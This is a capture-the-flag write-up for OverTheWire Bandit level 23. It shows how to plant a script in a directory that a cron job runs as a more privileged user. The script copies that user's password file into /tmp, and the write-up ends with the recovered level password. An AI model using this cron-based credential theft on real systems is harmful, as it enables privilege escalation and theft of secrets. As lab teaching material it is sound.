Writeups OverTheWireBanditLinuxcronBash

Bandit 23 Writeup - OverTheWire

Writeup for Bandit level 23 from OverTheWire: writing a script for a cron job to execute.

Contents

Wargame: Bandit

Level: 23

Category: Linux Fundamentals

Description

A cron job runs every script in /var/spool/bandit24/foo/ as bandit24, then deletes them. We write a script that copies bandit24’s password to a world-writable file and wait for the cron to execute it.

Overview

Solution

Step 1: Write the Script

#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/horse3903

Step 2: Deploy and Wait

chmod 777 /path/to/script.sh
cp script.sh /var/spool/bandit24/foo/

Step 3: Poll for the Output File

while True:
    channel = connect.system("cat /tmp/horse3903")
    result = channel.recv().decode().strip()
    if "No such file or directory" not in result:
        break

Password

VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

← Back to Blog